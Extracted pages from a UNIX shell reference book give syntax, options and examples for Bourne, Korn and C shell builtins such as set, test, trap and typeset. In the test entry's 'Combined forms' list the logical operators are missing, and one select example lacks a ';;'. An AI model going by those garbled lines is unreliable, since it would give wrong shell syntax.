Previous: Reference: let | UNIX in a Nutshell: System V Edition | Next: Reference: nohup
Reference: let | Book Index | Reference: nohup
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: nohup

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: newgrp Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: print

nohup

nohup

Don't terminate a command after log out. nohup is a Korn shell alias:

nohup='nohup '

The embedded space at the end lets nohup interpret the following command as an alias, if needed.

Previous: Reference: newgrp | UNIX in a Nutshell: System V Edition | Next: Reference: print
Reference: newgrp | Book Index | Reference: print
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: print

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: nohup Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: pwd

print

print [options] [string]

Korn shell only. Display string (on standard output by default). print includes the functions of echo and can be used in its place on most UNIX systems.

Options

-

Ignore all subsequent options.

- -

Same as -.

-n

Don't end output with a newline.

-p

Send string to the process created by |&, instead of to standard output.

-r

Ignore the escape sequences often used with echo.

-R

Same as -r and ignore subsequent options (except -n).

-s

Send string to the history file.

-u[n]

Send string to file descriptor n (default is 1).

Previous: Reference: nohup | UNIX in a Nutshell: System V Edition | Next: Reference: pwd
Reference: nohup | Book Index | Reference: pwd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: pwd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: print Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: r

pwd

pwd

Print your present working directory on standard output. In the Korn shell, this is really an alias for print -r - $PWD.

Previous: Reference: print | UNIX in a Nutshell: System V Edition | Next: Reference: r
Reference: print | Book Index | Reference: r
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: r

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: pwd Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: read

r

r

Re-execute previous command. Korn shell alias for fc -e -.

Previous: Reference: pwd | UNIX in a Nutshell: System V Edition | Next: Reference: read
Reference: pwd | Book Index | Reference: read
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: read

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: r Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: read

read

read variable1 [variable2 ...]

Read one line of standard input, and assign each word to the corresponding variable, with all leftover words assigned to last variable. If only one variable is specified, the entire line will be assigned to that variable. See example below and under case. The return status is 0 unless EOF is reached.

Example

$ read first last address
Sarah Caldwell 123 Main Street
$ echo "$last, $first\n$address"
Caldwell, Sarah
123 Main Street

Previous: Reference: r | UNIX in a Nutshell: System V Edition | Next: Reference: read
Reference: r | Book Index | Reference: read
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: readonly

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: read Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: return

readonly

readonly [variable1 variable2 ...]

Prevent the specified shell variables from being assigned new values. Variables can be accessed (read) but not overwritten. In the Korn shell, the syntax variable=value can be used to assign a new value that cannot be changed.

Previous: Reference: read | UNIX in a Nutshell: System V Edition | Next: Reference: return
Reference: read | Book Index | Reference: return
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: return

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: readonly Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: select

return

return [n]

Used inside a function definition. Exit the function with status n or with the exit status of the previously executed command.

Previous: Reference: readonly | UNIX in a Nutshell: System V Edition | Next: Reference: select
Reference: readonly | Book Index | Reference: select
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: select

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: return Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: set

select

select x [in list]
do
     commands
done

Korn shell only. Display a list of menu items on standard error, numbered in the order they are specified in list. If no list is given, items are read from the command line (via "$@"). Following the menu is a prompt string (set by PS3). At the PS3 prompt, users select a menu item by typing its line number, or they redisplay the menu by typing RETURN. (User input is stored in the environment variable REPLY.) If a valid line number is typed, commands are executed.

Example

PS3="Select the item number:"
select event in Format Page View Exit
do
   case "$event" in
     Format) nroff $file | lp;;
     Page)   pr $file | lp;;
     View)   cat $file
     Exit)   exit 0;;
     *   )   echo "Invalid selection";;
   esac
done

The output of this script would look like this:

1. Format
2. Page
3. View
4. Exit
Select the item number:

Previous: Reference: return | UNIX in a Nutshell: System V Edition | Next: Reference: set
Reference: return | Book Index | Reference: set
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: set

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: select Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: shift

set

set [options arg1 arg2 ...]

With no arguments, set prints the values of all variables known to the current shell. Options can be enabled (-option) or disabled (+option). Options can also be set when the shell is invoked, via ksh or sh. (See "Invoking the Shell" at the end of this section.) Arguments are assigned in order to $1, $2, etc.

Options

+A name

Assign remaining arguments as elements of array name. Korn shell only.

-A name

Same as +A, but unset name before making assignments. Korn shell only.

-a

From now on, automatically mark variables for export after defining or changing them.

-e

Exit if a command yields a nonzero exit status. In the Korn shell, the ERR trap is issued before the command exits.

-f

Ignore filename metacharacters (e.g., * ? [ ]).

-h

Locate commands as they are defined. The Korn shell creates tracked aliases, whereas the Bourne shell hashes function names. See hash.

-k

Assignment of environment variables (var=value) will take effect regardless of where they appear on the command line. Normally, assignments must follow the command name.

-m

Enable job control; background jobs will execute in a separate process group. -m is usually set automatically. Korn shell only.

-n

Read commands but don't execute; useful for checking errors.

-o [m]

List Korn shell modes, or turn on mode m. Many modes can be set by other options. Modes are:

allexport

Same as -a.

bgnice

Run background jobs at lower priority.

emacs

Set command-line editor to emacs.

errexit

Same as -e.

ignoreeof

Don't process EOF signals. To exit the shell, type exit.

keyword

Same as -k.

markdirs

Append / to directory names.

monitor

Same as -m.

noclobber

Prevent overwriting via > redirection; use >| to overwrite files.

noexec

Same as -n.

noglob

Same as -f.

nolog

Omit function definitions from history file.

nounset

Same as -u.

privileged

Same as -p.

trackall

Same as -h.

verbose

Same as -v.

vi

Set command-line editor to vi.

viraw

Same as vi, but process each character when it's typed.

xtrace

Same as -x.

-p

Start up as a privileged user (i.e., don't process $HOME/.profile).

-s

Sort the positional parameters. Korn shell only.

-t

Exit after one command is executed.

-u

In substitutions, treat unset variables as errors.

-v

Show each shell command line when read.

-x

Show commands and arguments when executed, preceded by a +. This provides step-by-step debugging of shell scripts. (Same as -o xtrace.)

-

Turn off -v and -x, and turn off option processing. Included in Korn shell for compatibility with older versions of Bourne shell.

--

Used as the last option; -- turns off option processing so that arguments beginning with - are not misinterpreted as options. (For example, you can set $1 to -1.) If no arguments are given after --, unset the positional parameters.

Examples

set - "$num" -20 -30	Set $1 to $num, $2 to -20, $3 to -30.
set -vx	Read each command line; show it;
    execute it; show it again (with arguments).
set +x	Stop command tracing.
set -o noclobber	Prevent file overwriting.
set +o noclobber	Allow file overwriting again.

Previous: Reference: select | UNIX in a Nutshell: System V Edition | Next: Reference: shift
Reference: select | Book Index | Reference: shift
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: shift

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: set Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: stop

shift

shift [n]

Shift positional arguments (e.g., $2 becomes $1). If n is given, shift to the left n places. Used in while loops to iterate through command-line arguments. In the Korn shell, n can be an integer expression.

Previous: Reference: set | UNIX in a Nutshell: System V Edition | Next: Reference: stop
Reference: set | Book Index | Reference: stop
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: stop

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: shift Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: suspend

stop

stop [jobIDs]

Suspend the background job specified by jobIDs; this is the complement of CTRL-Z or suspend. Not valid in the Korn shell. See "Job Control."

Previous: Reference: shift | UNIX in a Nutshell: System V Edition | Next: Reference: suspend
Reference: shift | Book Index | Reference: suspend
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: suspend

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: stop Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: test

suspend

suspend

Same as CTRL-Z. Often used to stop an su command. Not valid in the Korn shell.

Previous: Reference: stop | UNIX in a Nutshell: System V Edition | Next: Reference: test
Reference: stop | Book Index | Reference: test
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: test

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: suspend Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: time

test

test condition
     or
[ condition ]

Evaluate a condition and, if its value is true, return a zero exit status; otherwise, return a non-zero exit status. An alternate form of the command uses [ ] rather than the word test. The Korn shell allows an additional form, [[ ]]. condition is constructed using the expressions below. Conditions are true if the description holds true. Features that are Korn-shell-specific are marked with a (K).

File conditions

-a file

file exists. (K)

-b file

file exists and is a block special file.

-c file

file exists and is a character special file.

-d file

file exists and is a directory.

-f file

file exists and is a regular file.

-G file

file exists and its group is the effective group ID. (K)

-g file

file exists and its set-group-id bit is set.

-k file

file exists and its sticky bit is set.

-L file

file exists and is a symbolic link. (K)

-O file

file exists and its owner is the effective user ID. (K)

-o c

Option c is on. (K)

-p file

file exists and is a named pipe (fifo).

-r file

file exists and is readable.

-S file

file exists and is a socket. (K)

-s file

file exists and has a size greater than zero.

-t [n]

The open file descriptor n is associated with a terminal device; default n is 1.

-u file

file exists and its set-user-id bit is set.

-w file

file exists and is writable.

-x file

file exists and is executable.

f1 -ef f2

Files f1 and f2 are linked (refer to same file). (K)

f1 -nt f2

File f1 is newer than f2. (K)

f1 -ot f2

File f1 is older than f2. (K)

String conditions

-n s1

String s1 has non-zero length.

-z s1

String s1 has zero length.

s1 = s2

Strings s1 and s2 are identical. In the Korn shell, s2 can be a regular expression.

s1 != s2

Strings s1 and s2 are not identical. In the Korn shell, s2 can be a regular expression.

s1 < s2

ASCII value of s1 precedes that of s2. (Valid only within [[ ]] construct). (K)

s1 > s2

ASCII value of s1 follows that of s2. (Valid only within [[ ]] construct). (K)

string

string is not null.

Integer comparisons

n1 -eq n2

n1 equals n2.

n1 -ge n2

n1 is greater than or equal to n2.

n1 -gt n2

n1 is greater than n2.

n1 -le n2

n1 is less than or equal to n2.

n1 -lt n2

n1 is less than n2.

n1 -ne n2

n1 does not equal n2.

Combined forms

(condition)

True if condition is true (used for grouping). The ( )'s should be preceded by a \.

"!

True if condition is false.

"condition1

True if both conditions are true.

condition1

True if both conditions are true. (Valid only within [[ ]] construct.) (K)

condition1

True if either condition is true.

condition1

True if either condition is true. (Valid only within [[ ]] construct.) (K)

Examples

Each example below shows the first line of various statements that might use a test condition:

while test $# -gt 0	While there are arguments ...
while [ -n "$1" ]	While there are nonempty arguments ...
if [ $count -lt 10 ]	If $count is less than 10 ...
if [ -d RCS ]	If the RCS directory exists ...
if [ "$answer" != "y" ]	If the answer is not  y ...
if [ ! -r "$1" -o ! -f "$1" ]	If the first argument is not a
    readable file or a regular file ...

Previous: Reference: suspend | UNIX in a Nutshell: System V Edition | Next: Reference: time
Reference: suspend | Book Index | Reference: time
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: time

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: test Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: times

time

time command

Execute command and print the total elapsed time, user time, and system time (in seconds). Same as the UNIX command time (see Section 2), except that the built-in version can also time other built-in commands as well as all commands in a pipeline.

Previous: Reference: test | UNIX in a Nutshell: System V Edition | Next: Reference: times
Reference: test | Book Index | Reference: times
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: times

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: time Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: trap

times

times

Print accumulated process times for user and system.

Previous: Reference: time | UNIX in a Nutshell: System V Edition | Next: Reference: trap
Reference: time | Book Index | Reference: trap
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: trap

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: times Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: type

trap

trap [ [commands] signals]

Execute commands if any of signals is received. Common signals include 0, 1, 2, and 15. Multiple commands should be quoted as a group and separated by semicolons internally. If commands is the null string (i.e., trap "" signals), then signals will be ignored by the shell. If commands are omitted entirely, reset processing of specified signals to the default action. If both commands and signals are omitted, list current trap assignments. See examples below and under exec.

Signals

Signals are listed along with what triggers them.

0

Exit from shell (usually when shell script finishes).

1

Hangup (usually logout).

2

Interrupt (usually CTRL-C).

3

Quit.

4

Illegal instruction.

5

Trace trap.

6

IOT instruction.

7

EMT instruction.

8

Floating point exception.

10

Bus error.

12

Bad argument to a system call.

13

Write to a pipe without a process to read it.

14

Alarm timeout.

15

Software termination (usually via kill).

ERR

Nonzero exit status. Korn shell only.

DEBUG

Execution of any command. Korn shell only.

Examples

trap "" 2	Ignore signal 2 (interrupts).
trap 2	Obey interrupts again.

Remove a $tmp file when the shell program exits, or if the user logs out, presses CTRL-C, or does a kill:

trap "rm -f $tmp; exit" 0 1 2 15

Print a "clean up" message when the shell program receives signals 1, 2, or 15:

trap 'echo Interrupt!  Cleaning up...' 1 2 15

Previous: Reference: times | UNIX in a Nutshell: System V Edition | Next: Reference: type
Reference: times | Book Index | Reference: type
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: type

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: trap Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: typeset

type

type commands

Show whether each command name is a UNIX command, a built-in command, or a defined shell function. In the Korn shell, this is simply an alias for whence -v.

Example

$ type mv read
mv is /bin/mv
read is a shell builtin

Previous: Reference: trap | UNIX in a Nutshell: System V Edition | Next: Reference: typeset
Reference: trap | Book Index | Reference: typeset
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: typeset

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: type Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: ulimit

typeset

typeset [options] [variable[=value ...]]

Korn shell only. Assign a type to each variable (along with an optional initial value), or, if no variables are supplied, display all variables of a particular type (as determined by the options). When variables are specified, -option enables the type and +option disables it. With no variables given, -option prints variable names and values; +option prints only the names.

Options

-f[c]

The named variable is a function; no assignment is allowed. If no variable is given, list current function names. Flag c can be t, u, or x. t turns on tracing (same as set -x). u marks the function as undefined, which causes autoloading of the function (i.e., a search of FPATH will locate the function when it's first used). x exports the function. Note the aliases autoload and function.

-H

On non-UNIX systems, map UNIX filenames to host filenames.

-i[n]

Define variables as integers of base n. integer is an alias for typeset -i.

-L[n]

Define variables as flush-left strings, n characters long (truncate or pad with blanks on the right as needed). Leading blanks are stripped; leading 0's are stripped if -Z is also specified. If no n is supplied, field width is that of the variable's first assigned value.

-l

Convert uppercase to lowercase.

-R[n]

Define variables as flush-right strings, n characters long (truncate or pad with blanks on the left as needed). Trailing blanks are stripped. If no n is supplied, field width is that of the variable's first assigned value.

-r

Mark variables as read-only. See also readonly.

-t

Mark variables with a user-definable tag.

-u

Convert lowercase to uppercase.

-x

Mark variables for automatic export.

-Z[n]

When used with -L, strip leading 0's. When used alone, it's similar to -R except that -Z pads numeric values with 0's and pads text values with blanks.

Examples

typeset	List name, value, and type of all set variables.
typeset -x	List names and values of exported variables.
typeset +r PWD	End read-only status of PWD.
typeset -i n1 n2 n3 	Three variables are integers.
typeset -R5 zipcode	zipcode is flush right, 5 characters wide.

Previous: Reference: type | UNIX in a Nutshell: System V Edition | Next: Reference: ulimit
Reference: type | Book Index | Reference: ulimit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ulimit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: typeset Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: umask

ulimit

ulimit [options] [n]

Print the value of one or more resource limits, or, if n is specified, set a resource limit to n. Resource limits can be either hard (-H) or soft (-S). By default, ulimit sets both limits or prints the soft limit. The options determine which resource is acted on.

Options

-H

Hard limit. Anyone can lower a hard limit; only privileged users can raise it.

-S

Soft limit. Must be lower than the hard limit.

-a

Print all limits.

-c

Maximum block size of core files.

-d

Maximum kbytes of data segment or heap.

-f

Maximum block size of files (the default option).

-n

Maximum file descriptor plus 1.

-s

Maximum kbytes of stack segment

-t

Maximum CPU seconds.

-v

Maximum kbytes of virtual memory.

Previous: Reference: typeset | UNIX in a Nutshell: System V Edition | Next: Reference: umask
Reference: typeset | Book Index | Reference: umask
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: umask

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: ulimit Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: unalias

umask

umask [nnn]

Display file creation mask or set file creation mask to octal value nnn. The file creation mask determines which permission bits are turned off (e.g., umask 002 produces rw-rw-r--). umask is also a UNIX command (see Section 2).

Previous: Reference: ulimit | UNIX in a Nutshell: System V Edition | Next: Reference: unalias
Reference: ulimit | Book Index | Reference: unalias
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unalias

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: umask Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: unset

unalias

unalias names

Korn shell only. Remove names from the alias list. See also alias.

Previous: Reference: umask | UNIX in a Nutshell: System V Edition | Next: Reference: unset
Reference: umask | Book Index | Reference: unset
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unset

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unalias Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: until

unset

unset [-f] names

Erase definitions of functions or variables listed in names. In the Korn shell, functions must be specified explicitly with the -f option.

Previous: Reference: unalias | UNIX in a Nutshell: System V Edition | Next: Reference: until
Reference: unalias | Book Index | Reference: until
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: until

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unset Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: wait

until

until condition
do
     commands
done

Until condition is met, do commands. condition is usually specified with the test command.

Previous: Reference: unset | UNIX in a Nutshell: System V Edition | Next: Reference: wait
Reference: unset | Book Index | Reference: wait
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: wait

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: until Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: whence

wait

wait [ID]

Pause in execution until all background jobs complete (exit status 0 will be returned), or pause until the specified background process ID or job ID completes (exit status of ID is returned). Note that the shell variable $! contains the process ID of the most recent background process. If job control is not in effect, ID can be only a process ID number. See "Job Control."

Example

wait $!	Wait for last background process to finish.

Previous: Reference: until | UNIX in a Nutshell: System V Edition | Next: Reference: whence
Reference: until | Book Index | Reference: whence
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: whence

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: wait Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: while

whence

whence [options] commands

Korn shell only. Show whether each command name is a UNIX command, a built-in command, a defined shell function, or an alias.

Options

-p

Search for the pathname of commands.

-v

Verbose output; same as type.

Previous: Reference: wait | UNIX in a Nutshell: System V Edition | Next: Reference: while
Reference: wait | Book Index | Reference: while
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: while

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: whence Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: filename

while

while condition
do
     commands
done

While condition is met, do commands. condition is usually specified with the test command. See examples under case and test.

Previous: Reference: whence | UNIX in a Nutshell: System V Edition | Next: Reference: filename
Reference: whence | Book Index | Reference: filename
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: #

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 5.6 Built-in C Shell Commands Chapter 5
The C Shell 		Next: Reference: #!

#

#

Ignore all text that follows on the same line. # is used in shell scripts as the comment character and is not really a command. In addition, a script that uses # as its first character is interpreted as a C shell script.

Previous: 5.6 Built-in C Shell Commands | UNIX in a Nutshell: System V Edition | Next: Reference: #!
5.6 Built-in C Shell Commands | Book Index | Reference: #!
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: #!

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: # Chapter 5
The C Shell 		Next: Reference: :

#!

#!shell

Used as the first line of a script to invoke the named shell (with optional arguments). Not supported in all shells. For example:

#!/bin/csh -f

Previous: Reference: # | UNIX in a Nutshell: System V Edition | Next: Reference: :
Reference: # | Book Index | Reference: :
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: :

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: #! Chapter 5
The C Shell 		Next: Reference: alias

:

:

Null command. Returns an exit status of 0.

Previous: Reference: #! | UNIX in a Nutshell: System V Edition | Next: Reference: alias
Reference: #! | Book Index | Reference: alias
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: alias

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: : Chapter 5
The C Shell 		Next: Reference: bg

alias

alias [name [command]]

Assign name as the shorthand name, or alias, for command. If command is omitted, print the alias for name; if name is also omitted, print all aliases. Aliases can be defined on the command line, but they are more often stored in .cshrc so that they take effect upon logging in. (See the sample .cshrc file earlier in this section.) Alias definitions can reference command-line arguments, much like the history list. Use \!* to refer to all command-line arguments, \!^ for the first argument, \!$ for the last, etc. An alias name can be any valid UNIX command; however, you lose the original command's meaning unless you type \name. See also unalias.

Examples

Set the size for xterm windows under the X Window System:

alias R 'set noglob; eval `resize`; unset noglob'

Show aliases that contain the string ls:

alias | grep ls

Run nroff on all command-line arguments:

alias ms 'nroff -ms \!*'

Copy the file that is named as the first argument:

alias back 'cp \!^ \!^.old'

Use the regular ls, not its alias:

% \ls

Previous: Reference: : | UNIX in a Nutshell: System V Edition | Next: Reference: bg
Reference: : | Book Index | Reference: bg
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: bg

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: alias Chapter 5
The C Shell 		Next: Reference: break

bg

bg [jobIDs]

Put the current job or the jobIDs in the background. See also "Job Control" at the end of this section.

Example

To place a time-consuming process in the background, you might begin with:

4% nroff -ms report
CTRL-Z

and then issue any one of the following:

5% bg
5% bg %	Current job
5% bg %1	Job number 1
5% bg %nr	Match initial string nroff
5% % &

Previous: Reference: alias | UNIX in a Nutshell: System V Edition | Next: Reference: break
Reference: alias | Book Index | Reference: break
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: break

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: bg Chapter 5
The C Shell 		Next: Reference: breaksw

break

break

Resume execution following the end command of the nearest enclosing while or foreach.

Previous: Reference: bg | UNIX in a Nutshell: System V Edition | Next: Reference: breaksw
Reference: bg | Book Index | Reference: breaksw
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: breaksw

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: break Chapter 5
The C Shell 		Next: Reference: case

breaksw

breaksw

Break from a switch; continue execution after the endsw.

Previous: Reference: break | UNIX in a Nutshell: System V Edition | Next: Reference: case
Reference: break | Book Index | Reference: case
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: case

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: breaksw Chapter 5
The C Shell 		Next: Reference: cd

case

case pattern :

Identify a pattern in a switch.

Previous: Reference: breaksw | UNIX in a Nutshell: System V Edition | Next: Reference: cd
Reference: breaksw | Book Index | Reference: cd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: case Chapter 5
The C Shell 		Next: Reference: chdir

cd

cd [dir]

Change working directory to dir; default is home directory of user. If dir is a relative pathname but is not in the current directory, the cdpath variable is searched. See the sample .cshrc file earlier in this section.

Previous: Reference: case | UNIX in a Nutshell: System V Edition | Next: Reference: chdir
Reference: case | Book Index | Reference: chdir
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: chdir

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cd Chapter 5
The C Shell 		Next: Reference: continue

chdir

chdir [dir]

Same as cd. Useful if you are redefining cd.

